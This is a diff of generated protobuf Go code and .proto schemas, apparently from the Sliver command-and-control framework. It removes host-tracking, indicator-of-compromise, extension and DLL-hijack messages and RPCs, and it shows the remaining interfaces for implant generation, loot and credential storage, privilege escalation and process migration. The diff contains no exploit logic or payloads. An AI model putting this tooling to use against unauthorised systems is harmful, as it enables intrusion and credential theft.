-	IsService          bool         `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
-	IsShellcode        bool         `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
+	C2                []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
+	CanaryDomains     []string     `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
+	LimitDomainJoined bool         `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
+	LimitDatetime     string       `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
+	LimitHostname     string       `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
+	LimitUsername     string       `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
+	LimitFileExists   string       `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
+	Format            OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
+	IsSharedLib       bool         `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
+	FileName          string       `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
+	IsService         bool         `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
+	IsShellcode       bool         `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
 }
 
 func (x *ImplantConfig) Reset() {
@@ -732,13 +722,6 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
 	return file_clientpb_client_proto_rawDescGZIP(), []int{3}
 }
 
-func (x *ImplantConfig) GetID() string {
-	if x != nil {
-		return x.ID
-	}
-	return ""
-}
-
 func (x *ImplantConfig) GetGOOS() string {
 	if x != nil {
 		return x.GOOS
@@ -872,13 +855,6 @@ func (x *ImplantConfig) GetCanaryDomains() []string {
 	return nil
 }
 
-func (x *ImplantConfig) GetConnectionStrategy() string {
-	if x != nil {
-		return x.ConnectionStrategy
-	}
-	return ""
-}
-
 func (x *ImplantConfig) GetLimitDomainJoined() bool {
 	if x != nil {
 		return x.LimitDomainJoined
@@ -2646,11 +2622,10 @@ type UpdateSession struct {
 	sizeCache     protoimpl.SizeCache
 	unknownFields protoimpl.UnknownFields
 
-	SessionID         uint32   `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
-	Name              string   `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
-	ReconnectInterval int32    `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
-	PollInterval      int32    `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
-	Extensions        []string `protobuf:"bytes,5,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
+	SessionID         uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
+	Name              string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
+	ReconnectInterval int32  `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
+	PollInterval      int32  `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
 }
 
 func (x *UpdateSession) Reset() {
@@ -2713,13 +2688,6 @@ func (x *UpdateSession) GetPollInterval() int32 {
 	return 0
 }
 
-func (x *UpdateSession) GetExtensions() []string {
-	if x != nil {
-		return x.Extensions
-	}
-	return nil
-}
-
 type GenerateReq struct {
 	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
@@ -4493,378 +4461,6 @@ func (x *AllLoot) GetLoot() []*Loot {
 	return nil
 }
 
-// [ Hosts ] ----------------------------------------
-type IOC struct {
-	state         protoimpl.MessageState
-	sizeCache     protoimpl.SizeCache
-	unknownFields protoimpl.UnknownFields
-
-	Path     string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"`
-	FileHash string `protobuf:"bytes,2,opt,name=FileHash,proto3" json:"FileHash,omitempty"`
-	ID       string `protobuf:"bytes,3,opt,name=ID,proto3" json:"ID,omitempty"`
-}
-
-func (x *IOC) Reset() {
-	*x = IOC{}
-	if protoimpl.UnsafeEnabled {
-		mi := &file_clientpb_client_proto_msgTypes[61]
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		ms.StoreMessageInfo(mi)
-	}
-}
-
-func (x *IOC) String() string {
-	return protoimpl.X.MessageStringOf(x)
-}
-
-func (*IOC) ProtoMessage() {}
-
-func (x *IOC) ProtoReflect() protoreflect.Message {
-	mi := &file_clientpb_client_proto_msgTypes[61]
-	if protoimpl.UnsafeEnabled && x != nil {
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		if ms.LoadMessageInfo() == nil {
-			ms.StoreMessageInfo(mi)
-		}
-		return ms
-	}
-	return mi.MessageOf(x)
-}
-
-// Deprecated: Use IOC.ProtoReflect.Descriptor instead.
-func (*IOC) Descriptor() ([]byte, []int) {
-	return file_clientpb_client_proto_rawDescGZIP(), []int{61}
-}
-
-func (x *IOC) GetPath() string {
-	if x != nil {
-		return x.Path
-	}
-	return ""
-}
-
-func (x *IOC) GetFileHash() string {
-	if x != nil {
-		return x.FileHash
-	}
-	return ""
-}
-
-func (x *IOC) GetID() string {
-	if x != nil {
-		return x.ID
-	}
-	return ""
-}
-
-type ExtensionData struct {
-	state         protoimpl.MessageState
-	sizeCache     protoimpl.SizeCache
-	unknownFields protoimpl.UnknownFields
-
-	Output string `protobuf:"bytes,1,opt,name=Output,proto3" json:"Output,omitempty"`
-}
-
-func (x *ExtensionData) Reset() {
-	*x = ExtensionData{}
-	if protoimpl.UnsafeEnabled {
-		mi := &file_clientpb_client_proto_msgTypes[62]
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		ms.StoreMessageInfo(mi)
-	}
-}
-
-func (x *ExtensionData) String() string {
-	return protoimpl.X.MessageStringOf(x)
-}
-
-func (*ExtensionData) ProtoMessage() {}
-
-func (x *ExtensionData) ProtoReflect() protoreflect.Message {
-	mi := &file_clientpb_client_proto_msgTypes[62]
-	if protoimpl.UnsafeEnabled && x != nil {
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		if ms.LoadMessageInfo() == nil {
-			ms.StoreMessageInfo(mi)
-		}
-		return ms
-	}
-	return mi.MessageOf(x)
-}
-
-// Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead.
-func (*ExtensionData) Descriptor() ([]byte, []int) {
-	return file_clientpb_client_proto_rawDescGZIP(), []int{62}
-}
-
-func (x *ExtensionData) GetOutput() string {
-	if x != nil {
-		return x.Output
-	}
-	return ""
-}
-
-type Host struct {
-	state         protoimpl.MessageState
-	sizeCache     protoimpl.SizeCache
-	unknownFields protoimpl.UnknownFields
-
-	Hostname      string                    `protobuf:"bytes,1,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
-	HostUUID      string                    `protobuf:"bytes,2,opt,name=HostUUID,proto3" json:"HostUUID,omitempty"`
-	OSVersion     string                    `protobuf:"bytes,3,opt,name=OSVersion,proto3" json:"OSVersion,omitempty"`
-	IOCs          []*IOC                    `protobuf:"bytes,4,rep,name=IOCs,proto3" json:"IOCs,omitempty"`
-	ExtensionData map[string]*ExtensionData `protobuf:"bytes,5,rep,name=ExtensionData,proto3" json:"ExtensionData,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
-}
-
-func (x *Host) Reset() {
-	*x = Host{}
-	if protoimpl.UnsafeEnabled {
-		mi := &file_clientpb_client_proto_msgTypes[63]
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		ms.StoreMessageInfo(mi)
-	}
-}
-
-func (x *Host) String() string {
-	return protoimpl.X.MessageStringOf(x)
-}
-
-func (*Host) ProtoMessage() {}
-
-func (x *Host) ProtoReflect() protoreflect.Message {
-	mi := &file_clientpb_client_proto_msgTypes[63]
-	if protoimpl.UnsafeEnabled && x != nil {
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		if ms.LoadMessageInfo() == nil {
-			ms.StoreMessageInfo(mi)
-		}
-		return ms
-	}
-	return mi.MessageOf(x)
-}
-
-// Deprecated: Use Host.ProtoReflect.Descriptor instead.
-func (*Host) Descriptor() ([]byte, []int) {
-	return file_clientpb_client_proto_rawDescGZIP(), []int{63}
-}
-
-func (x *Host) GetHostname() string {
-	if x != nil {
-		return x.Hostname
-	}
-	return ""
-}
-
-func (x *Host) GetHostUUID() string {
-	if x != nil {
-		return x.HostUUID
-	}
-	return ""
-}
-
-func (x *Host) GetOSVersion() string {
-	if x != nil {
-		return x.OSVersion
-	}
-	return ""
-}
-
-func (x *Host) GetIOCs() []*IOC {
-	if x != nil {
-		return x.IOCs
-	}
-	return nil
-}
-
-func (x *Host) GetExtensionData() map[string]*ExtensionData {
-	if x != nil {
-		return x.ExtensionData
-	}
-	return nil
-}
-
-type AllHosts struct {
-	state         protoimpl.MessageState
-	sizeCache     protoimpl.SizeCache
-	unknownFields protoimpl.UnknownFields
-
-	Hosts []*Host `protobuf:"bytes,1,rep,name=Hosts,proto3" json:"Hosts,omitempty"`
-}
-
-func (x *AllHosts) Reset() {
-	*x = AllHosts{}
-	if protoimpl.UnsafeEnabled {
-		mi := &file_clientpb_client_proto_msgTypes[64]
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		ms.StoreMessageInfo(mi)
-	}
-}
-
-func (x *AllHosts) String() string {
-	return protoimpl.X.MessageStringOf(x)
-}
-
-func (*AllHosts) ProtoMessage() {}
-
-func (x *AllHosts) ProtoReflect() protoreflect.Message {
-	mi := &file_clientpb_client_proto_msgTypes[64]
-	if protoimpl.UnsafeEnabled && x != nil {
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		if ms.LoadMessageInfo() == nil {
-			ms.StoreMessageInfo(mi)
-		}
-		return ms
-	}
-	return mi.MessageOf(x)
-}
-
-// Deprecated: Use AllHosts.ProtoReflect.Descriptor instead.
-func (*AllHosts) Descriptor() ([]byte, []int) {
-	return file_clientpb_client_proto_rawDescGZIP(), []int{64}
-}
-
-func (x *AllHosts) GetHosts() []*Host {
-	if x != nil {
-		return x.Hosts
-	}
-	return nil
-}
-
-// [ Dll Hijack ] ----------------------------------------
-type DllHijackReq struct {
-	state         protoimpl.MessageState
-	sizeCache     protoimpl.SizeCache
-	unknownFields protoimpl.UnknownFields
-
-	ReferenceDLLPath string            `protobuf:"bytes,1,opt,name=ReferenceDLLPath,proto3" json:"ReferenceDLLPath,omitempty"`
-	TargetLocation   string            `protobuf:"bytes,2,opt,name=TargetLocation,proto3" json:"TargetLocation,omitempty"`
-	ReferenceDLL     []byte            `protobuf:"bytes,3,opt,name=ReferenceDLL,proto3" json:"ReferenceDLL,omitempty"`
-	TargetDLL        []byte            `protobuf:"bytes,4,opt,name=TargetDLL,proto3" json:"TargetDLL,omitempty"`
-	ProfileName      string            `protobuf:"bytes,5,opt,name=ProfileName,proto3" json:"ProfileName,omitempty"`
-	Request          *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
-}
-
-func (x *DllHijackReq) Reset() {
-	*x = DllHijackReq{}
-	if protoimpl.UnsafeEnabled {
-		mi := &file_clientpb_client_proto_msgTypes[65]
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		ms.StoreMessageInfo(mi)
-	}
-}
-
-func (x *DllHijackReq) String() string {
-	return protoimpl.X.MessageStringOf(x)
-}
-
-func (*DllHijackReq) ProtoMessage() {}
-
-func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
-	mi := &file_clientpb_client_proto_msgTypes[65]
-	if protoimpl.UnsafeEnabled && x != nil {
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		if ms.LoadMessageInfo() == nil {
-			ms.StoreMessageInfo(mi)
-		}
-		return ms
-	}
-	return mi.MessageOf(x)
-}
-
-// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
-func (*DllHijackReq) Descriptor() ([]byte, []int) {
-	return file_clientpb_client_proto_rawDescGZIP(), []int{65}
-}
-
-func (x *DllHijackReq) GetReferenceDLLPath() string {
-	if x != nil {
-		return x.ReferenceDLLPath
-	}
-	return ""
-}
-
-func (x *DllHijackReq) GetTargetLocation() string {
-	if x != nil {
-		return x.TargetLocation
-	}
-	return ""
-}
-
-func (x *DllHijackReq) GetReferenceDLL() []byte {
-	if x != nil {
-		return x.ReferenceDLL
-	}
-	return nil
-}
-
-func (x *DllHijackReq) GetTargetDLL() []byte {
-	if x != nil {
-		return x.TargetDLL
-	}
-	return nil
-}
-
-func (x *DllHijackReq) GetProfileName() string {
-	if x != nil {
-		return x.ProfileName
-	}
-	return ""
-}
-
-func (x *DllHijackReq) GetRequest() *commonpb.Request {
-	if x != nil {
-		return x.Request
-	}
-	return nil
-}
-
-type DllHijack struct {
-	state         protoimpl.MessageState
-	sizeCache     protoimpl.SizeCache
-	unknownFields protoimpl.UnknownFields
-
-	Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
-}
-
-func (x *DllHijack) Reset() {
-	*x = DllHijack{}
-	if protoimpl.UnsafeEnabled {
-		mi := &file_clientpb_client_proto_msgTypes[66]
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		ms.StoreMessageInfo(mi)
-	}
-}
-
-func (x *DllHijack) String() string {
-	return protoimpl.X.MessageStringOf(x)
-}
-
-func (*DllHijack) ProtoMessage() {}
-
-func (x *DllHijack) ProtoReflect() protoreflect.Message {
-	mi := &file_clientpb_client_proto_msgTypes[66]
-	if protoimpl.UnsafeEnabled && x != nil {
-		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-		if ms.LoadMessageInfo() == nil {
-			ms.StoreMessageInfo(mi)
-		}
-		return ms
-	}
-	return mi.MessageOf(x)
-}
-
-// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
-func (*DllHijack) Descriptor() ([]byte, []int) {
-	return file_clientpb_client_proto_rawDescGZIP(), []int{66}
-}
-
-func (x *DllHijack) GetResponse() *commonpb.Response {
-	if x != nil {
-		return x.Response
-	}
-	return nil
-}
-
 var File_clientpb_client_proto protoreflect.FileDescriptor
 
 var file_clientpb_client_proto_rawDesc = []byte{
@@ -4883,7 +4479,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
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 	0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
 	0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
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@@ -4919,17 +4515,14 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x52, 0x4c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
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@@ -4968,10 +4561,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32,
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@@ -5163,7 +4753,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
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 var (
@@ -5464,7 +5004,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
 }
 
 var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
-var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 71)
+var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 64)
 var file_clientpb_client_proto_goTypes = []interface{}{
 	(OutputFormat)(0),            // 0: clientpb.OutputFormat
 	(StageProtocol)(0),           // 1: clientpb.StageProtocol
@@ -5532,24 +5072,17 @@ var file_clientpb_client_proto_goTypes = []interface{}{
 	(*Credential)(nil),           // 63: clientpb.Credential
 	(*Loot)(nil),                 // 64: clientpb.Loot
 	(*AllLoot)(nil),              // 65: clientpb.AllLoot
-	(*IOC)(nil),                  // 66: clientpb.IOC
-	(*ExtensionData)(nil),        // 67: clientpb.ExtensionData
-	(*Host)(nil),                 // 68: clientpb.Host
-	(*AllHosts)(nil),             // 69: clientpb.AllHosts
-	(*DllHijackReq)(nil),         // 70: clientpb.DllHijackReq
-	(*DllHijack)(nil),            // 71: clientpb.DllHijack
-	nil,                          // 72: clientpb.ImplantBuilds.ConfigsEntry
-	nil,                          // 73: clientpb.WebsiteAddContent.ContentsEntry
-	nil,                          // 74: clientpb.Website.ContentsEntry
-	nil,                          // 75: clientpb.Host.ExtensionDataEntry
-	(*commonpb.Request)(nil),     // 76: commonpb.Request
-	(*commonpb.Response)(nil),    // 77: commonpb.Response
-	(*commonpb.File)(nil),        // 78: commonpb.File
+	nil,                          // 66: clientpb.ImplantBuilds.ConfigsEntry
+	nil,                          // 67: clientpb.WebsiteAddContent.ContentsEntry
+	nil,                          // 68: clientpb.Website.ContentsEntry
+	(*commonpb.Request)(nil),     // 69: commonpb.Request
+	(*commonpb.Response)(nil),    // 70: commonpb.Response
+	(*commonpb.File)(nil),        // 71: commonpb.File
 }
 var file_clientpb_client_proto_depIdxs = []int32{
 	7,  // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
 	0,  // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
-	72, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
+	66, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
 	0,  // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
 	10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
 	11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
@@ -5558,52 +5091,46 @@ var file_clientpb_client_proto_depIdxs = []int32{
 	8,  // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
 	17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
 	20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
-	76, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
-	77, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
-	76, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
-	77, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
+	69, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
+	70, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
+	69, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
+	70, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
 	6,  // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
 	8,  // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
-	78, // 17: clientpb.Generate.File:type_name -> commonpb.File
-	76, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
-	76, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
+	71, // 17: clientpb.Generate.File:type_name -> commonpb.File
+	69, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
+	69, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
 	1,  // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
 	1,  // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
-	78, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
+	71, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
 	8,  // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
-	76, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
+	69, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
 	8,  // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
-	76, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
-	76, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
-	76, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
+	69, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
+	69, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
+	69, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
 	56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
 	6,  // 30: clientpb.Event.Session:type_name -> clientpb.Session
 	20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
 	53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
 	56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
-	73, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
-	74, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
+	67, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
+	68, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
 	60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
 	2,  // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
 	3,  // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
 	63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
 	4,  // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
-	78, // 41: clientpb.Loot.File:type_name -> commonpb.File
+	71, // 41: clientpb.Loot.File:type_name -> commonpb.File
 	64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
-	66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
-	75, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
-	68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
-	76, // 46: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
-	77, // 47: clientpb.DllHijack.Response:type_name -> commonpb.Response
-	8,  // 48: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
-	57, // 49: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
-	57, // 50: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
-	67, // 51: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
-	52, // [52:52] is the sub-list for method output_type
-	52, // [52:52] is the sub-list for method input_type
-	52, // [52:52] is the sub-list for extension type_name
-	52, // [52:52] is the sub-list for extension extendee
-	0,  // [0:52] is the sub-list for field type_name
+	8,  // 43: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
+	57, // 44: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
+	57, // 45: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
+	46, // [46:46] is the sub-list for method output_type
+	46, // [46:46] is the sub-list for method input_type
+	46, // [46:46] is the sub-list for extension type_name
+	46, // [46:46] is the sub-list for extension extendee
+	0,  // [0:46] is the sub-list for field type_name
 }
 
 func init() { file_clientpb_client_proto_init() }
@@ -6344,78 +5871,6 @@ func file_clientpb_client_proto_init() {
 				return nil
 			}
 		}
-		file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*IOC); i {
-			case 0:
-				return &v.state
-			case 1:
-				return &v.sizeCache
-			case 2:
-				return &v.unknownFields
-			default:
-				return nil
-			}
-		}
-		file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ExtensionData); i {
-			case 0:
-				return &v.state
-			case 1:
-				return &v.sizeCache
-			case 2:
-				return &v.unknownFields
-			default:
-				return nil
-			}
-		}
-		file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*Host); i {
-			case 0:
-				return &v.state
-			case 1:
-				return &v.sizeCache
-			case 2:
-				return &v.unknownFields
-			default:
-				return nil
-			}
-		}
-		file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*AllHosts); i {
-			case 0:
-				return &v.state
-			case 1:
-				return &v.sizeCache
-			case 2:
-				return &v.unknownFields
-			default:
-				return nil
-			}
-		}
-		file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*DllHijackReq); i {
-			case 0:
-				return &v.state
-			case 1:
-				return &v.sizeCache
-			case 2:
-				return &v.unknownFields
-			default:
-				return nil
-			}
-		}
-		file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*DllHijack); i {
-			case 0:
-				return &v.state
-			case 1:
-				return &v.sizeCache
-			case 2:
-				return &v.unknownFields
-			default:
-				return nil
-			}
-		}
 	}
 	type x struct{}
 	out := protoimpl.TypeBuilder{
@@ -6423,7 +5878,7 @@ func file_clientpb_client_proto_init() {
 			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
 			RawDescriptor: file_clientpb_client_proto_rawDesc,
 			NumEnums:      5,
-			NumMessages:   71,
+			NumMessages:   64,
 			NumExtensions: 0,
 			NumServices:   0,
 		},

protobuf/clientpb/client.proto

@@ -43,7 +43,6 @@ message Session {
   string ProxyURL = 20;
   uint32 PollInterval = 21;
   bool Burned = 22;
-  repeated string Extensions = 23;
 }
 
 message ImplantC2 {
@@ -60,8 +59,6 @@ enum OutputFormat {
 }
 
 message ImplantConfig {
-  string ID = 100;
-
   string GOOS = 1;
   string GOARCH = 2;
   string Name = 3;
@@ -85,7 +82,6 @@ message ImplantConfig {
   // c2
   repeated ImplantC2 C2 = 10;
   repeated string CanaryDomains = 11;
-  string ConnectionStrategy = 39;
 
   bool LimitDomainJoined = 20;
   string LimitDatetime = 21;
@@ -278,7 +274,6 @@ message UpdateSession {
   string Name = 2;
   int32 ReconnectInterval = 3;
   int32 PollInterval = 4;
-  repeated string Extensions = 5;
 }
 
 message GenerateReq {
@@ -501,42 +496,3 @@ message Loot {
 message AllLoot {
   repeated Loot Loot = 1;
 }
-
-// [ Hosts ] ----------------------------------------
-message IOC {
-  string Path = 1;
-  string FileHash = 2;
-  string ID = 3;
-}
-
-message ExtensionData {
-  string Output = 1;
-}
-
-message Host {
-  string Hostname = 1;
-  string HostUUID = 2;
-  string OSVersion = 3;
-
-  repeated IOC IOCs = 4;
-  map<string, ExtensionData> ExtensionData = 5;
-}
-
-message AllHosts {
-  repeated Host Hosts = 1;
-}
-
-// [ Dll Hijack ] ----------------------------------------
-message DllHijackReq {
-  string ReferenceDLLPath = 1;
-  string TargetLocation = 2;
-  bytes ReferenceDLL = 3;
-  bytes TargetDLL = 4;
-  string ProfileName = 5;
-
-  commonpb.Request Request = 9;
-}
-
-message DllHijack {
-  commonpb.Response Response = 9;
-}

protobuf/rpcpb/services.proto

@@ -47,12 +47,6 @@ service SliverRPC {
     rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
     rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
 
-    // *** Hosts ***
-    rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
-    rpc Host(clientpb.Host) returns(clientpb.Host);
-    rpc HostRm(clientpb.Host) returns(commonpb.Empty);
-    rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
-
     // *** Implants ***
     rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
     rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
@@ -121,12 +115,8 @@ service SliverRPC {
     rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
     rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
     rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
-    rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
+    rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
     rpc GetPrivs(sliverpb.GetPrivsReq) returns  (sliverpb.GetPrivs);
-    // Extensions
-    rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
-    rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
-    rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
     
     // *** Wireguard Specific ***
     rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);

protobuf/rpcpb/services_grpc.pb.go

@@ -51,11 +51,6 @@ type SliverRPCClient interface {
 	LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error)
 	LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
 	LootAllOf(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
-	// *** Hosts ***
-	Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error)
